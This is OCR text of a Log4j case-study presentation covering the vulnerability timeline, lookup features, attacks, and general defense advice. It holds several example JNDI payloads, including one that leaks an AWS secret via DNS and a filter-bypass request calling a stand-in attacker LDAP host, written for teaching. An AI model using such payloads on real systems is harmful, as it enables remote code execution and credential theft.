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Understanding Log4j — Case study for evolving cyber security

Log4j vulnerability

How are security attacks evolving

My top 4 Security recommendations
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Fix v2.17.0

Tlmellne Of events was released

Akamai observing
attack traffic of
around 2M attempts
per hour, since
disclosure

CISA director
issues official

National guidance on CVE-2021-
Vulnerability Log4j 45046 went
Database lists public, showing
CVE-2021- that Log4Shell
44228 — a can still be
log4j exploited

- vulnerabilit
Zero day vulnerability 4

Log4j announced on
vulnerability is Twitter

disclosed to
Apache

Fix for CVE-2021-
44228 released
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What is Log4)?
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* Log4jis a Java-based logging utility

« |tis used by developers to return log
messages pertaining to the code that they
have written

* |tis open source and is one of the most
widely utilized logging libraries in the Java

Last Published: 2021-12-28 = Version: 2.17.1

Download Apache Log4j 2
ecosyste m . foodt Apache Logdj 2 is distributed under the Apache License, version 2.0 @

ilable mirrors with a default selection based on your inferred location. If you do not see that page, try a
ain distribution server.
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About Log4) — Feature of lookup

“${date:MM-dd-yyyy} All Systems Good”
* One of the powerful features that Log4j

supports is known as lookups
“12-20-2021 All Systems Good”
« Lookups enable a developer to embed

variables or expressions into text that are

automatically evaluated by Log4j prior to

output

“The lower case current user is ${lower:${env:USER}}’

 There are many types of lookup expressions

that are supported by Log4j and they can be

) “The lower case current user is administrator”
tied together as well
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About Log4] — Problem started with INDI lookup

« JNDI = Java Naming and Directory Interface

« Itis a mechanism in Java that allows
guerying of different directory based services
like DNS or Active directory or even its own
JAVA environment

« The lookup expression used is jndi:

“The current mail host is ${jndi:java:comp/env/mailhost}”

JNDI would recognize this particular URL type as a query
to lookup a configuration option called mailhost for the
current running component.

“The current mail host is mymailserver.example.com”
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Fair enough, where is the vulnerability ?

/ W .
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« For this example, imagine the attacker owns “Log this:
${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_ KEY}.

the domain name; )

JNDI would recognize this particular URL as a DNS query.
It would take my AWS key and send a DNS query to

DNS query to
jndi
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« For this example, imagine the attacker owns “Log this: ${jndi:Idap:// lay
the domain name:

JNDI would recognize this particular URL as a LDAP
query

LDAP query to

indi

LDAP response saying download malicious code at
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Can we just look for jndi and block it ?




What happened at Akamai that day

 Initially, blocking jndi soundslike good plan

« Clever ways were developed in realtime to
bypass this

« Then began the cat and mouse game
between the attackers and the protectors

GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1

N

4

${jndi:ldap://rce.malware.example/a}

A

4

jndi triggers the attack again

777

why
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Oh boy, how bad is this vulnerability ?




NEWS & EVENTS ENFORCEMENT POLICY TIPS

WSJZX CYBERSECURITY

Home News » Research Newsletters Events »

Hackers Exploit Log4j Flaw at Belgian Defense Ministry

The ministry shut down parts of its computer network in response NEWS, ANALYSIS AND PERSPECTIVE FOR SOLUTION PROVIDERS AND TECHNOLOGY INTEGRATORS

ansomware Gang Hijacking Log4j Bug To Hit Minecraft Servers

= @k MARKETS BUSINESS INVESTING TECH POLITICS CNBCTV | Outside of the ransomware space, Iranian hacking group APT 35 has attempted to exploit the Log4j flaw against seven
argets in the Israeli government and business sector over the past day, Check Point said.

By Michael Novinson

ISA director says the
OGA4J security flaw is the

S NewScientist

News Podcasts Video Technology Space Physics Health More ¥ Shop Courses Events

UK companies could face fines for
failing to patch Log4j vulnerability

‘most serious” she’s seen
n her career

ybersecurity and Infrastructure Security Director Jen Easterly tells CNBC's Eamon Javers

at the LOG4J security flaw is the “most serious” vulnerability she’s seen in her decades-
ong career and it could take years to address. Her message to business leaders: Do not
Helay in making sure that you are protected from this vulnerability.

A security flaw discovered in December 2021 makes private data vulnerable to
hackers — and the UK government could take action against firms that fail to fix it
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This must be a one-off event....Right ?

WRONG!!
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From:

Sent: 07 February 2022 20:31
To: Basavaraj, Sankalp
Subject: LinkedIn

Hi Sankalp,
| received an invite to connect on LinkedIn with Sankalp B.
Can you confirm it’s from you before | accept it?

Regards

Join the Conversation.
Log onto Akamai Community.
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Evolved security

Trick i h v The best approach is to
Attacks are always fCKIs 1o catch em early - increase our IT IMMUNITY
evolving! using Enterprise

Security
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Here are my top 4 security recommendations
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Website is vulnerable to clickjacking!

Skip to main content | Screen Reader Acces

« Secure your DNS using advanced protocols
like DNSSEC + DoT Important government site
. prone to clickjack attacks

RTI Citizens' Charter ContactUs «

ines. Intended Applicants can book the appointments to the nearest Oper:
« Secure the pipe using latest encryption e here - Home > Login
standards like TLS 1.3 |

e Secure your page against data leakage using o (Now User) | Heving Trubie Losaing i » |
advanced techniques like CORS - ang

“The greatest victory is that which requires no battle.” — Sun Tzu
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Implement an intermediatory hop like a proxy
which scrubs the Internet traffic for attacks

Legacy on-premise firewalls falls short to
adapt to the evolving threats. Cloud firewalls
are the new rad

Maintain sandbox , honeypot environments to
effectively defend against evolving threats

Other Users

Security
scrubbing centers
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Tip 3 =Secure your enterprise assets

Threats Are Moving Inside
« Threats can come from within enterprise
« The attacker should be right only once

whereas the defenders need to be right
EVERY TIME !

« Trust nobody, authenticate everyone, limit
the access is the mantra Twitter hack was an inside job according to

security experts

« Traditional MFA is NOT the holy grail of
security and can be hacked just as easily.
Adopt latest standards of MFA like FIDO2

As per VARONIS 2021 study, only 5% of company folders are

properly protected ' Angry IT admin wipes employer’s databases, gets 7 years in prison | Confidential M
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« Traditional way of origin is dead, micro-
segmentation is the FUTURE

« Restrict software and systems to
communicating with only those machines
necessary to complete their tasks

The New Way

‘Experts estimate that a ransomware attack will occur every 11 a2 A

seconds in 2021. (Cybercrime Magazine, 2019) ’ : S5 EFEHEN BE BB
‘The average ransom fee requested has increased from $5,000 in el el PR B
2018 to around $200,000 in 2020. (National Security Institute, 2021)’ R=1=F: o o b oy TR A

Physical firewall appliances Virtual firewall appliances Software-based policies based on finer-grained attributes
creating network choke eating network choke points, (e.g., process, user, fully-qualified domain name)
points, ACLs, VLANs NSGs unique tooling per CSP
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https://cybersecurityventures.com/global-ransomware-damage-costs-predicted-to-reach-20-billion-usd-by-2021/

For interesting discussions around Internet and questions
https://www.linkedin.com/in/sankalp-basavaraj/
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https://www.linkedin.com/in/sankalp-basavaraj/

THERE MUST BE A BETTER
WAY OF CHOOSING SECURITY
IMPLEMENTATIONS |l

Photo Source: www.cloudtweaks.com

THANK YOU !
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